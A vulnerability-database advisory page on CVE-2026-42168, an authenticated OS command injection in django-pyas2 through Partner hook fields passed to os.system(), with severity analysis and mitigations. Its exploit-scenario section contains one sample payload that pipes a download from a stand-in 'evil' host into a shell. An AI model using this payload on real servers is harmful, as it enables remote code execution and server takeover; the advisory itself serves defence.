Skip to main content

django-pyas2 CVE-2026-42168

CRITICAL
OS Command Injection (CWE-78)
2026-07-17 mitre
9.1
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Django admin session
  2. Delivery
    Edit Partner cmd_receive/cmd_send with shell payload
  3. Exploit
    Trigger or await AS2 message processing
  4. Execution
    os.system() executes injected command
  5. Impact
    Arbitrary code execution on server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Django admin account with the ability to create or edit a Partner record, and the injected string must be placed in the cmd_receive or cmd_send field, which are the post-receive/post-send command hooks passed to os.system() in pyas2/utils.py. The command only fires when an AS2 message is actually sent or received for that Partner, so the attacker either waits for normal AS2 traffic or triggers a message exchange to detonate the payload. Limiting factors: admin-level authentication is mandatory (contradicting the input vector's PR:N), the cmd hook fields must be reachable/editable, and the app must process an AS2 message afterward - so this is a post-authentication, configuration-dependent flaw, not remote unauthenticated exploitation against a default install.

Impact

Signals conflict and must be reconciled before prioritizing. The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, 9.1 Critical) claims no privileges are required, yet the description states an authenticated admin user is needed and the payload lives in a Partner configuration record - so PR:N appears incorrect and PR:H is more defensible, which lowers realistic severity. EPSS is low (0.64%), there is no KEV listing, and no SSVC decision was provided; together these indicate this is not evidence of widespread active exploitation. The mitigating factor is significant: an attacker must already hold Django admin credentials, and an admin can generally reconfigure the app anyway, so the incremental risk is primarily privilege boundary crossing (admin-to-OS/RCE) and post-auth server compromise rather than a wormable internet-facing bug. The third-party research repo suggests exploit details are public, raising the practical risk for internet-exposed admin panels or environments with weak admin-account hygiene. Net: a genuine RCE worth patching, but the true attack profile is authenticated/config-dependent, not the unauthenticated critical the raw score implies - verify the PR metric with the vendor.

Exploit ScenarioDerived

An attacker who has obtained or been granted Django admin access opens a Partner record and sets cmd_receive to a value like 'legit_cmd; curl http://evil/x | sh', then waits for or triggers an inbound AS2 message; when django-pyas2 processes it, os.system() executes the injected command on the server. Public analysis of this CVE exists in a third-party research repository, which lowers the effort to craft a working payload. Because the CVSS attack complexity is low, the only real barrier is obtaining the admin session in the first place.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 20, 2026

OS command injection in django-pyas2 through version 1.2.3 lets an authenticated admin plant shell commands in the Partner model's cmd_receive and cmd_send fields, which pyas2/utils.py hands directly to os.system() when an AS2 message is processed. The submitted CVSS vector rates this 9.1 (network, unauthenticated), but the description explicitly requires an authenticated admin user, so real-world exploitability is meaningfully narrower than the headline score. EPSS is low (0.64%, 47th percentile), there is no CISA KEV listing, and a third-party vulnerability-research repository is referenced that appears to document the flaw.

RemediationAI

No vendor-released patch is identified at time of analysis - the referenced v1.2.3 release notes only cover a pyas2lib bump to 1.4.3, field-length and documentation changes, and contain no fix for this command-injection path, and 1.2.3 is the affected version. As compensating controls: restrict and network-segment the Django admin interface (bind it behind VPN/allow-listed IPs and require strong MFA) so the required admin credential is hard to reach, since exploitation depends on write access to the Partner model; treat all Partner cmd_receive/cmd_send values as untrusted and audit existing Partner records for injected shell metacharacters (;, |, &&, $(), backticks); and run the application under a least-privilege OS account inside a container so that any triggered command executes with minimal blast radius rather than as root. If the post-receive/post-send command hooks are not needed, remove or blank these fields to eliminate the sink entirely, accepting the trade-off of losing custom payload post-processing. Monitor the vendor repository at https://github.com/abhishek-ram/django-pyas2 for a patched release and upgrade as soon as one that replaces os.system() with a sanitized subprocess call (no shell) is published.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

django-pyas2 is a Django web application implementing the AS2 (Applicability Statement 2) secure file-transfer protocol used for B2B EDI exchange. Partner objects in the app expose cmd_receive and cmd_send hook fields intended to run post-processing commands on inbound/outbound payloads; the code path in pyas2/utils.py interpolates these operator-supplied strings into os.system() with no escaping or allow-listing. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) issue: because os.system() invokes a shell, metacharacters such as ;, |, $(), and backticks in the stored field are interpreted by /bin/sh, converting a configuration field into arbitrary command execution. The CPE data supplied is a placeholder (cpe:2.3:a:n/a:n/a:*) and does not identify the product, so affected-version scoping rests on the CVE description rather than NVD CPE.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 7.2 HIGH

Requires admin write access to the Partner config, so PR:H; network-reachable admin UI with low complexity, and shell command execution yields full C/I/A impact.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
CVSS changed
Jul 20, 2026 - 19:22 NVD
9.1 (CRITICAL)
CVE Published
Jul 17, 2026 - 00:00 cve.org
CRITICAL 9.1
CVE Published
Jul 17, 2026 - 00:00 cve.org
UNKNOWN (no severity yet)

DescriptionCVE.org

django-pyas2 through 1.2.3 is vulnerable to OS command injection via the cmd_receive and cmd_send fields on the Partner model. These fields are passed directly to os.system() in pyas2/utils.py without sanitization, allowing an authenticated admin user to execute arbitrary commands on the server when an AS2 message is received or sent.

Executive ViewAI

Why It Matters

django-pyas2 versions through 1.2.3 contain an authenticated OS command injection vulnerability (CVE-2026-42168, CVSS 9.1) for which publicly available exploit code exists. Admin users can execute arbitrary shell commands during AS2 message processing; organizations using django-pyas2 for EDI/supply chain communications face data exfiltration and system compromise if admin credentials are compromised.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Strictly limit AS2 admin account access to trusted personnel with strong authentication and MFA; (2) Implement operating system command execution monitoring and alerting on all django-pyas2 servers; (3) Restrict AS2 message sources via firewall rules to known, pre-approved trading partners only; (4) Disable cmd_receive and cmd_send field functionality in Partner configuration if not actively required for EDI operations; (5) Run django-pyas2 in an isolated, low-privilege container or VM with minimal network connectivity and system permissions.

Threat Intelligence Overview

EPSS Score
0.6%
Top 53% exploitable
Prevalence
Low
niche open-source Django AS2 file-transfer app, limited B2B/EDI deployment
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.6%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:n/a:n/a:*:*:*:*:*:*:*:*

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy